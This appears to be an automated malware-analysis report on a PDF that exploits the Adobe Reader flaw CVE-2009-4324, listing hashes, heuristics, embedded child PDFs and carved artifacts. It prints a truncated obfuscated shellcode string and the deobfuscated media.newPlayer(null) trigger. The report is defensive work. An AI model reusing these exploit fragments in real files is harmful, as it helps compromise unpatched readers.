Malicious PDF — malware analysis report

Static analysis result for SHA-256 b262e5d0e55b0c6e…

MALICIOUS

PDF

85.3 KB Created: 2010-04-12 14:15:40 +08:00 Authoring application: Acrobat Distiller 5.0.5 (Windows) First seen: 2026-05-10
MD5: 3b95b5e9f81c8d1810b39c15d37eeba6 SHA-1: 3398d8b5c10e007067a5a4d5d50fb3f5b33a563f SHA-256: b262e5d0e55b0c6e33b6b5446d89c595d81f45067db833414124f35dc11f7f74
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript T1204.002 Malicious JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2009-4324, a known vulnerability in Adobe Reader. The JavaScript is obfuscated but static analysis indicates it likely downloads and executes a second-stage payload. The presence of a secondary embedded PDF further suggests a multi-stage attack. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9985

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://www.iec.chIn PDF document text
🗂 Part of campaign: pdffactory.com 18 samples

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2610 bytes
SHA-256: 447cccb0b28690cfd35e6c7d285b83d1ca96a54fd0f2a437498ab8c6a303cc5d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
icc_00_off0000b444.icc pdf-icc-profile PDF ICC profile at offset 0xB444 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
polyglot_child_pdf_off00009fd3.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x9FD3 46432 bytes
SHA-256: ec3738cc5dd1759d7c2f49ec537da8e751aef3c75701e5a6ead93d3664164017
polyglot_child_pdf_off00013d46.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x13D46 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8